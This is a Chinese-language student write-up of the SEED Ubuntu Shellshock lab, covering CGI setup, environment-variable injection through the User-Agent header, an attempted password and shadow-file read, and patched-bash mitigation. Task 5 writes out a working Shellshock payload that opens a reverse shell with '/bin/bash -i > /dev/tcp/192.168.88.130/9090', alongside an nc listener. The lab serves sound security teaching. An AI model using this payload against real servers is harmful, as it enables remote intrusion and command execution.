软件安全实验-SEEDubuntu-Shellshock Attack Lab

实验要求

Task 1

在这里插入图片描述

Task 2

在这里插入图片描述

Task 3

在这里插入图片描述

Task 4

在这里插入图片描述

Task 5

在这里插入图片描述

Task 6

在这里插入图片描述

实验环境

SEEDUbuntu(Ubuntu 16.04)

实验步骤

Task1

Bash的版本:在本书提供的SEED Ubuntu 16.04虚拟机中,有两个版本的Bash程序位于/bin目录中。一个版本就叫Bash,这个版本已经打了补丁,所以不会受Shellshock攻击的影响。终端中运行的shell程序就是这个安全的Bash版本,它在函数传递的行为方面做了改变。另外一个版本叫bash_shellshock,这个版本没有打过补丁。因此在本章的实验中,需要使用有漏洞的版本,否则攻击不会成功。
所以我们要准备一个有漏洞的bash版本
在这里插入图片描述

运行验证:

在这里插入图片描述

Task2

在本实验中,我们将在远程Web服务器上发起Shellshock攻击。
许多Web服务器都启用CGI,这是用于在Web页和Web应用程序上生成动态内容的标准方法。许多CGI程序是使用Shell脚本编写的。因此,在执行CGI程序之前,将首先调用shell程序,并且这种调用是由用户从远程计算机触发的。如果Shell程序是易受攻击的Bash程序,我们可以利用Shellshock易受攻击的漏洞在服务器上获取特权。
在此任务中,我们将建立一个非常简单的CGI程序(称为myprog.cgi),如下所示。
在这里插入图片描述

它仅使用shell脚本打印出“ Hello World”。
将以上CGI程序放在/ usr / lib / cgi-bin目录中,并将其权限设置为755(因此它是可执行文件)。
在这里插入图片描述

在这里插入图片描述

执行命令行程序curl执行相同的操作:
$ curl http://localhost/cgi-bin/myprog.cgi
在我们的设置中,我们从同一台计算机上运行Web服务器和攻击,这就是为什么使用localhost的原因。在实际攻击中,服务器在远程计算机上运行,我们使用服务器的主机名或IP地址来代替localhost。
在这里插入图片描述

可以看到打印出字符“hello world”

Task3

要利用基于Bash的CGI程序中的Shellshock漏洞,攻击者需要将其数据传递给易受攻击的Bash程序,并且需要通过环境变量传递数据。在此任务中,我们需要了解如何实现此目标。
使用以下CGI程序演示您可以向CGI程序发送任意字符串,并且该字符串将显示在环境变量之一的内容中。
在这里插入图片描述

将其放到指定文件夹并chmod
在这里插入图片描述

运行:
在这里插入图片描述

可以发现成功打印出了环境变量,当CGI程序被调用的时候,会首先FORK创建一个新进程,然后再使用exec()函数来执行CGI程序,因为CGI程序开头是#!/bin/bash,所以该程序是一个shell脚本,所以他执行后,bash会执行shell脚本,当创建子进程执行bash时,它为bash进程提供了环境变量,传递到子进程。其中有些环境变量可以通过人为控制传入指定的字符,例如USER_AGENT等。

Task4

设置完上述CGI程序之后,我们现在可以启动Shellshock攻击。攻击不取决于CGI程序中的内容,因为它的攻击目标是Bash程序,该程序在CGI脚本执行之前首先被调用。我们目标是通过URL http://localhost/cgi-bin/myprog.cgi发起攻击,以实现远程用户无法实现的目标。
我们可以通过构造合适的指令来盗取数据库密码:
在这里插入图片描述在这里插入图片描述

我们通过—A选项可以设置请求的USER_AGENT选项,然后把我们的命令构建传递之后,shellshock将该环境变量转化为自己的shell变量,而如果发现一个以一对圆括号开始的环境变量时,将其转化为shell函数。这样的话USER_AGENT被转化为一个shell函数和三个shell命令并执行。此时就能完成我们想要的结果。

例如:执行ls -l操作
在这里插入图片描述

试图查看shadow文件失败,权限不足:
在这里插入图片描述

Task5

Shellshock漏洞使攻击者可以在目标计算机上运行任意命令。在实际攻击中,攻击者通常选择运行Shell命令,而不是在攻击中进行硬编码,因此只要Shell程序仍然存在,他们就可以使用此Shell运行其他命令。为了实现此目标,攻击者需要运行反向Shell。反向Shell是在计算机上启动的Shell进程,其输入和输出由远程计算机的某人控制。基本上,shell在受害者的计算机上运行,但是它从攻击者的计算机上获取输入,并在攻击者的计算机上打印其输出。反向外壳程序使攻击者可以方便地在受感染计算机上运行命令。
在Selsbck攻击中创建反向shell.攻击者先运行“nc -lv 9090命令启动TCP服务器.
在这里插入图片描述

然后运行下面的命令向目标服务器的CGI程序发送恶意请求。
在这里插入图片描述

一旦curl指令被执行,攻击指令也会在服务器上被执行,这将导致CGI程序触发一个Bash shell.该Bash shell 会连接到192.168.88.130的9090端口(攻击者的机器攻击者的nc程序会接受这个连接,并显示由远端服务器的CGI触发的Bash程序送来的shell提示符,这表明反向shell成功了。可以从id命令的运行结果来确认这一点,它打印出来的远程CGI进程的用户ID是www-data.
在这里插入图片描述

我们通过—A选项可以设置请求的USER_AGENT选项,然后把我们的命令构建传递之后,shellshock将该环境变量转化为自己的shell变量,而如果发现一个以一对圆括号开始的环境变量时,将其转化为shell函数。这样的话USER_AGENT被转化为一个shell函数和三个shell命令并执行。此时就能完成我们想要的结果。
attacker通过-A传入USER_AGENT环境变量,该环境变量经过shellshock解析成如下:
USER_AGENT () { echo hello; }; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/192.168.88.130/9090 0<&1 2>&1
相当于在server上执行:
/bin/bash -i > /dev/tcp/192.168.88.130/9090 0<&1 2>&1

Task6

我们使用一个已修补的Bash程序。程序/ bin / bash是修补程序版本。请用此程序替换CGI程序的第一行。重做任务3和5,并描述您的观察结果.
修改myprog.cgi:
在这里插入图片描述

运行CGI程序打印出环境变量:
在这里插入图片描述

运行nc -lv 9090启动连接:
在这里插入图片描述

运行恶意指令:
在这里插入图片描述

可以发现未能创建反向的shell只是执行了CGI程序打印出了环境变量,这是因为bash在进行修复后不会再错误的将环境变量解析为函数并执行,所以在shell中不会再执行攻击代码,也就不能在CGI程序执行前完


版权声明:本文为weixin_44668030原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。